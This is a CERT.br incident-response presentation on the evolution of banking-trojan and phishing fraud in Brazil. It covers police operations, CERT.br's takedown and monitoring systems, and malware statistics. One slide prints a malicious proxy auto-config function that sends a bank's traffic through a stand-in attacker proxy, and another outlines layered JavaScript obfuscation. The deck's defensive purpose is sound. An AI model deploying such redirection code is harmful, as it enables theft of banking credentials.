Evolution of Financial Fraud in Brazil

Marcelo H. P. C. Chaves
mhp@cert.br

CERT.br – Computer Emergency Response Team Brazil
http://www.cert.br/

NIC.br – Network Information Center Brazil
CGI.br – Brazilian Internet Steering Committee
About CERT.br

Created in 1997 as the national focal point to handle computer security incident reports and activities related to networks connected to the Internet in Brazil.

International Partnerships

http://www.cert.br/mission.html
Our Parent Organization: CGI.br

Among the diverse responsibilities of The Brazilian Internet Steering Committee – CGI.br, the main attributions are:

- to propose policies and procedures related to the regulation of the Internet activities
- to recommend standards for technical and operational procedures
- to establish strategic directives related to the use and development of Internet in Brazil
- **to promote studies and technical standards for the network and services’ security in the country**
- to coordinate the allocation of Internet addresses (IPs) and the registration of domain names using <.br>
- **to collect, organize and disseminate information on Internet services, including indicators and statistics**
CGI.br/NIC.br Structure

01- Ministry of Science and Technology
02- Ministry of Communications
03- Presidential Cabinet
04- Ministry of Defense
05- Ministry of Development, Industry and Foreign Trade
06- Ministry of Planning, Budget and Management
07- National Telecommunications Agency
08- National Council of Scientific and Technological Development
09- National Forum of Estate Science and Technology Secretaries
10- Internet Expert
11- Internet Service Providers
12- Telecom Infrastructure Providers
13- Hardware and Software Industries
14- General Business Sector Users
15- Non-governamental Entity
16- Non-governamental Entity
17- Non-governamental Entity
18- Non-governamental Entity
19- Academia
20- Academia
21- Academia
Agenda

History of Online Fraud in Brazil
  Timeline of Online Fraud in Brazil
  Current Trends

Current Developments
  CERT.br Initiatives

Statistics
  Fraud Notifications
  Trojan Notifications
  AV Vendors Efficiency
  Phishing Monitoring

Further Developments Needed
History of Online Fraud in Brazil
Timeline of Online Fraud in Brazil (1/9)

2001
- initial deployment of rudimentary keyloggers (1st trojan implementations)
- spams poorly written
- brute force attacks on bank sites (when passwords not available)

Federal Police Operation: “Cash Net” (Nov 07)
- performed simultaneously in 2 states
- 70 police officers
- 17 people arrested
- U$46 million stolen (estimated)
Timeline of Online Fraud in Brazil (2/9)

2002 – 2003

- spams leading to phishing sites / trojan horses
- trojans implementing {key, screen}logger capabilities
- increase in phishing
- DNS compromises widely used (“pharming”)

Federal Police Operation: “Cavalo de Tróia I” (Nov 05)

- performed simultaneously in 4 states
- 200 police officers, 30 arrest warrants
- 27 people arrested
- U$14 million stolen (estimated)
Timeline of Online Fraud in Brazil (3/9)

2003 – 2004

- increase in sophisticated phishing
  - phony sites very similar to the real ones
  - data sent from phony sites to collector sites that processed the data and sent results to e-mail accounts

Federal Police Operation: “Cavalo de Tróia II” (Oct 20)

- criminal organization:
  - programmers → developing more sophisticated trojans
  - mules: locals (drop accounts), commerce (payments)
  - huge expenses with cars, motorcycles, big parties
  - fraud toolkit (including notebook, programs, howtos)

- performed simultaneously in 4 states
- over 80 police officers, and 90 arrest warrants
- 64 people arrested
- U$110 million stolen (estimated)
2005

- traditional phishing and compromised DNS servers were rarely seen
- the criminals sent spams using the names of well-known entities or popular sites (government, telecom, airline companies, charity institutions, reality shows, e-commerce, etc), as well as varied themes (elections, terrorist attacks, tsunami, fraud warnings, erotic photos, etc)
- these spams had links to trojan horses hosted at various sites
- the victim rarely associated the spam with a banking fraud
Timeline of Online Fraud in Brazil (5/9)

2005 (cont’d)

- Once installed, the trojan had the ability to:
  - monitor the victim’s computer looking for accesses to Brazilian well-known banks
  - capture keystrokes / mouse events / screen snapshots
  - overlap portions of the victim’s screen, hiding information
  - send captured information, such as account numbers and passwords, to collector sites or e-mail accounts


- performed simultaneously in 8 states
- 400 police officers, 100 arrest warrants
- 85 people arrested
- U$33 million stolen (estimated)
2006

- traditional phishing and compromised DNS rarely seen
- spams used even more varied themes
  - usually, the moment dictated what criminals used
- spams had links to trojan horses hosted at various sites, but we observed a considerable increase in the use of:
  - trojan downloaders leading to the real trojans
- trojans that included other malware functionalities:
  - April 18: trojan incident reported to CERT.br
    AV signatures too vague or “no virus found”
  - April 20: specific AV signatures released
    Net-Worm.Win32.Banker.a (and others)
Timeline of Online Fraud in Brazil (7/9)

2006 (cont’d)

Federal Police Operations:

- “Scan” (Feb 14)
  - 7 states, 330 police officers, 64 arrest warrants, 63 people arrested, U$5 million stolen (estimated)

- “Galácticos” (Aug 23)
  - 9 states, 400 police officers, 80 warrants, 63 people arrested

- “Replicante” (Sep 12)
  - 5 states, 300 police officers, 120 warrants, 58 people arrested (target was mainly the programmers)

- “Control+Alt+Del” (Dec 07)
  - 5 states, 215 police officers, 41 people arrested
2007

- 2005–2006 trends still prevalent
- trojans delivered via drive-by downloads
  - webpages including malicious Javascript, ActiveX, etc
- widespread use of obfuscation in webpages
  - impact in detection of and response to new malware URLs
  - “proprietary” obfuscation (e.g. xor, ceaser cipher, etc)
  - JScript.Encode
      “Method created by Microsoft used to encode both server and client-side JavaScript or VB Script src code in order to protect the src code from copying.”
  - JavaScript unescape() function
    - [http://www.javascripter.net/faq/unescape.htm](http://www.javascripter.net/faq/unescape.htm)
      unescape("It%27s%20me%21") // result: It’s me!
  - layers of obfuscation
    example: webpage [ JScript.Encode ( xor ( Unscape ( VBScript ) ) ) ]
Timeline of Online Fraud in Brazil (9/9)

2007 (cont’d)

Federal Police Operations:

<table>
<thead>
<tr>
<th>name</th>
<th>date</th>
<th>states</th>
<th>police officers</th>
<th>warrants</th>
<th>people arrested</th>
<th>losses (US$) (estimated)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Valáquia</td>
<td>Feb 13</td>
<td>2</td>
<td>150</td>
<td>27</td>
<td>23</td>
<td>—</td>
</tr>
<tr>
<td>Navegantes</td>
<td>May 11</td>
<td>1</td>
<td>—</td>
<td>—</td>
<td>14</td>
<td>50k/month</td>
</tr>
<tr>
<td>Colossus</td>
<td>Aug 21</td>
<td>5</td>
<td>200</td>
<td>70</td>
<td>22</td>
<td>—</td>
</tr>
<tr>
<td>Carranca de Tróia</td>
<td>Sep 04</td>
<td>2</td>
<td>100</td>
<td>31</td>
<td>4</td>
<td>—</td>
</tr>
<tr>
<td>Ilíada</td>
<td>Nov 11</td>
<td>1</td>
<td>160</td>
<td>65</td>
<td>33</td>
<td>—</td>
</tr>
<tr>
<td>Muro de Fogo</td>
<td>Dec 04</td>
<td>3</td>
<td>250</td>
<td>101</td>
<td>50</td>
<td>500k/month</td>
</tr>
</tbody>
</table>
Current Trends

2008 – current
Current Trends (1/2)

- 2005–2007 trends still prevalent
- malware modifying client’s hosts file
  - really old, but still very effective
- widespread use of drive-by downloads
  - several cases published by the media involving main webpages of telecom and other big companies
- malware modifying browser proxy auto configuration settings to redirect users to phony pages
  
  **example:** http://evil.domain.example/network.pac

```
function FindProxyForURL(url, host) {
  var a = "PROXY evil.domain.example:80";
  if (shExpMatch(host, "www.my-bank.example")) {
    return a;
  }
  return "DIRECT";
}
```
Current Trends (2/2)

- malware registering itself as BHO (Browser Helper Object)
- malware interacting with the real site in order to validate user information (account data, password, etc)
  - making sandbox analysis harder

Federal Police Operations:

<table>
<thead>
<tr>
<th>name</th>
<th>date</th>
<th>states</th>
<th>police officers</th>
<th>warrants</th>
<th>people arrested</th>
<th>losses (US$) (estimated)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cardume</td>
<td>May 13 2008</td>
<td>7</td>
<td>215</td>
<td>69</td>
<td>27</td>
<td>250k/month</td>
</tr>
<tr>
<td>Lamers</td>
<td>Sep 18 2008</td>
<td>1</td>
<td>—</td>
<td>—</td>
<td>3</td>
<td>—</td>
</tr>
<tr>
<td>Trilha</td>
<td>May 28 2009</td>
<td>12</td>
<td>691</td>
<td>275</td>
<td>76</td>
<td>—</td>
</tr>
</tbody>
</table>
Current Developments
CERT.br Initiatives (1/3)

Trojan notification and submission system

1. Emails are sent to trojanfilter.
   - Extract suspicious URLs from emails.
   -Confirmed URLs

2. Emails are sent to trojancheck.
   - Fetch and store malware.
   - Using AV, confirm if file is really a malware.
   - Create a list with the confirmed URLs.

3. Emails are sent to sm2av.
   - Select new malware from malware’s list.
   - Send malware copy to each AV vendor that does not detect the malware yet.

4. Emails are sent to istronline.
   - Try to fetch malware in order to check if it is still online.
   - Update stats DB including the new date and status of the malware URL.

5. Emails are sent to notify.
   - Get IP contacts.
   - Create email with the list entry data and an email template.
   - Send notification asking to remove the malware.

6. Emails are sent to notify.
   - Email with the malware copy.

7. URLs are added.

8. Emails are sent to notify.
   - Email with the notification.
CERT.br Initiatives (2/3)

Phishing pages monitoring system (*isphalive*)

- Phishing URLs
- *Fetcher*
  - Download a copy of each phishing page
  - Extract and store data in a DB
  - Donate data to partners

- *Online cases*
  - data donation
  - phishing data

- *Validator*
  - IH manually checks the new status
  - IH manually checks the status
  - status is offline?

- *Tester*
  - Update uptime
  - Check status

  - status changed?
    - no
  - yes
    - alert IH about the change

- *Closed cases*
  - archive
    - status is offline?
      - no
      - yes

CLCERT/FIRST Security Workshop – Santiago, Chile – October 20-21, 2009 – p. 21/35
CERT.br Initiatives (3/3)

Actions:

- notifying sites hosting trojans
- sending undetected trojan samples to 25+ AV vendors
  - aim is to increase AV effectiveness
- notifying sites involved on phishing
- documents aimed to home users
  - chapter focused on Internet fraud and social engineering

Task force between CERT.br and major financial institutions:

- mailing list maintained by CERT.br
- CERT.br facilitates exchange of technical information
- financial institutions coordinate efforts with the proper law enforcement agency for each case
Statistics
Fraud Notifications

Notifications handled:

<table>
<thead>
<tr>
<th></th>
<th>2004</th>
<th>2005</th>
<th>2006</th>
<th>2007</th>
<th>2008</th>
<th>2009/Q(1,2,3)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Count</td>
<td>4,015 (5%)</td>
<td>27,292 (40%)</td>
<td>41,776 (21%)</td>
<td>45,298 (28%)</td>
<td>140,067 (62%)</td>
<td>241,414 (74%)</td>
</tr>
</tbody>
</table>

Malware* statistics: from 2006 to September 2009:

<table>
<thead>
<tr>
<th>Category</th>
<th>2006</th>
<th>2007</th>
<th>2008</th>
<th>2009/Q(1,2,3)</th>
</tr>
</thead>
<tbody>
<tr>
<td>unique URLs</td>
<td>25,087</td>
<td>19,981</td>
<td>17,376</td>
<td>7,622</td>
</tr>
<tr>
<td>unique malware samples (unique hashes)</td>
<td>19,148</td>
<td>16,946</td>
<td>14,256</td>
<td>5,673</td>
</tr>
<tr>
<td>AV signatures (unique)</td>
<td>1,988</td>
<td>3,032</td>
<td>6,085</td>
<td>2,647</td>
</tr>
<tr>
<td>AV signatures (grouped by “family”)</td>
<td>140</td>
<td>109</td>
<td>63</td>
<td>64</td>
</tr>
<tr>
<td>File extensions</td>
<td>73</td>
<td>112</td>
<td>112</td>
<td>78</td>
</tr>
<tr>
<td>Domains</td>
<td>5,587</td>
<td>7,795</td>
<td>5,916</td>
<td>3,186</td>
</tr>
<tr>
<td>IP Addresses</td>
<td>3,859</td>
<td>4,415</td>
<td>3,921</td>
<td>2,403</td>
</tr>
<tr>
<td>Country Codes</td>
<td>75</td>
<td>83</td>
<td>78</td>
<td>72</td>
</tr>
<tr>
<td>Email notifications sent by CERT.br</td>
<td>18,839</td>
<td>17,483</td>
<td>15,499</td>
<td>6,879</td>
</tr>
</tbody>
</table>

(*) Include {key,screen}loggers, trojan downloaders – do not include bots/botnets and worms
### Top 15 domains notified: 2009/Q(1,2,3)

<table>
<thead>
<tr>
<th>#</th>
<th>domain</th>
<th>number</th>
<th>%</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>livefilestore.com</td>
<td>288</td>
<td>3.22</td>
</tr>
<tr>
<td>2</td>
<td>sapo.pt</td>
<td>192</td>
<td>2.15</td>
</tr>
<tr>
<td>3</td>
<td>hpg.com.br</td>
<td>188</td>
<td>2.10</td>
</tr>
<tr>
<td>4</td>
<td>fileden.com</td>
<td>163</td>
<td>1.82</td>
</tr>
<tr>
<td>5</td>
<td>kit.net</td>
<td>157</td>
<td>1.75</td>
</tr>
<tr>
<td>6</td>
<td>hotlinkfiles.com</td>
<td>144</td>
<td>1.61</td>
</tr>
<tr>
<td>7</td>
<td>dominiotemporario.com</td>
<td>138</td>
<td>1.54</td>
</tr>
<tr>
<td>8</td>
<td>110mb.com</td>
<td>92</td>
<td>1.03</td>
</tr>
<tr>
<td></td>
<td>freewebtown.com</td>
<td>92</td>
<td>1.03</td>
</tr>
<tr>
<td>9</td>
<td>xpg.com.br</td>
<td>82</td>
<td>0.92</td>
</tr>
<tr>
<td>10</td>
<td>uol.com.br</td>
<td>78</td>
<td>0.87</td>
</tr>
<tr>
<td>11</td>
<td>sitebr.net</td>
<td>61</td>
<td>0.68</td>
</tr>
<tr>
<td>12</td>
<td>pagebr.com</td>
<td>56</td>
<td>0.63</td>
</tr>
<tr>
<td>13</td>
<td>pop.com.br</td>
<td>56</td>
<td>0.63</td>
</tr>
<tr>
<td>14</td>
<td>webcindario.com</td>
<td>55</td>
<td>0.61</td>
</tr>
</tbody>
</table>
Trojan Notifications (2/4)

Top 10 Country Codes

Notifications x Country Codes [2006 -- 2009]

Obs.: data sets sorted by Top 10 Country Codes from 2009/Q(1,2,3)
Trojan Notifications (3/4)

Top 10 File Extensions

Notifications x File Extensions [2006 -- 2009]

Obs.: data sets sorted by Top 10 File Extensions from 2009/Q(1,2,3)
Trojan Notifications (4/4)

Top 10 AV Signatures

Notifications x AV Signatures [2006 -- 2009]

Obs.: data sets sorted by Top 10 AV Signatures from 2009/Q(1,2,3)
Signatures source: Kaspersky Lab
AV Vendors Efficiency (1/2)

AV Detection Rates

Considering 2009/Q3:

- All AV Vendors tested more than 90% of the samples
- 20% of AV vendors detected more than 70% of the samples
- 66% of AV vendors detected less than 50% of the samples
AV Vendors Efficiency (2/2)

Malware samples sent to 25+ AV Vendors in 2009/Q(1,2,3)

Trojan Samples Sent [2006-01-01 -- 2009-09-30]

**Fraud cases (malware):**
- 2009/Q2 – 2009/Q3 → raised ≈22%
- 2008/Q3 – 2009/Q3 → dropped ≈11%

**Traditional phishing:**
- 2009/Q2 – 2009/Q3 → raised ≈6%
- 2008/Q3 – 2009/Q3 → raised ≈67%
Phishing Monitoring: 2009/Q(2,3)

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Number of cases</td>
<td>2051</td>
</tr>
<tr>
<td>Cases / work day</td>
<td>16</td>
</tr>
<tr>
<td>BR bank targets</td>
<td>1122</td>
</tr>
<tr>
<td>Other targets</td>
<td>929</td>
</tr>
<tr>
<td>Unique URLs</td>
<td>1968</td>
</tr>
<tr>
<td>Unique hashes</td>
<td>1117</td>
</tr>
<tr>
<td>Domains</td>
<td>920</td>
</tr>
<tr>
<td>IPs Addresses</td>
<td>781</td>
</tr>
<tr>
<td>Uptime (max)</td>
<td>156d, 3h, 15min</td>
</tr>
<tr>
<td>Uptime (avg)</td>
<td>4d, 3h, 47min</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>#</th>
<th>domain (or IP address)</th>
<th>cases</th>
<th>%</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>63.207.44.12</td>
<td>84</td>
<td>4.10</td>
</tr>
<tr>
<td>2</td>
<td>uol.com.br</td>
<td>70</td>
<td>3.41</td>
</tr>
<tr>
<td>3</td>
<td>dominiotemporario.com</td>
<td>49</td>
<td>2.39</td>
</tr>
<tr>
<td>4</td>
<td>xpg.com.br</td>
<td>37</td>
<td>1.80</td>
</tr>
<tr>
<td>5</td>
<td>bbcr.com.br</td>
<td>29</td>
<td>1.41</td>
</tr>
<tr>
<td>6</td>
<td>66mattos.com</td>
<td>27</td>
<td>1.32</td>
</tr>
<tr>
<td></td>
<td>henrymattar.com</td>
<td>27</td>
<td>1.32</td>
</tr>
<tr>
<td>8</td>
<td>sitec-mi.com</td>
<td>26</td>
<td>1.27</td>
</tr>
<tr>
<td>9</td>
<td>sitec-me.com</td>
<td>25</td>
<td>1.22</td>
</tr>
<tr>
<td>10</td>
<td>nchiminelli.com</td>
<td>23</td>
<td>1.12</td>
</tr>
<tr>
<td></td>
<td>proead.net</td>
<td>23</td>
<td>1.12</td>
</tr>
</tbody>
</table>
Further Developments Needed
Further Developments Needed

AV software need to better detect trojans
  - just 20% of AV vendors with detection rate above 70%
  - most used defense among end users

ISPs need to be more proactive
  - check files at upload time and periodically after upload

More efforts to block spam at its source
  - Port 25 Management Adoption Task Force
  - SpamPots Project – to better understand the abuse of the Internet infrastructure

Better international cooperation
CeCOS IV is the 1st APWG sponsored conference in South America.

Focus are operational issues related to the development of response strategies and resources for countering ecrime.

Speakers come from academia, private industry, law enforcement and CSIRTs.

Location: Blue Tree Morumbi Hotel
São Paulo – Brazil

Dates: May 11–13, 2010

More info soon at:

http://apwg.org/
Related Links

- This presentation will be available (soon) at:
  http://www.cert.br/docs/presentations/

- Computer Emergency Response Team Brazil – CERT.br
  http://www.cert.br/

- Brazilian Internet Steering Committee – CGI.br
  http://www.cgi.br/

- Brazilian Federal Police: Public Relations
  http://www.dpf.gov.br/DCS/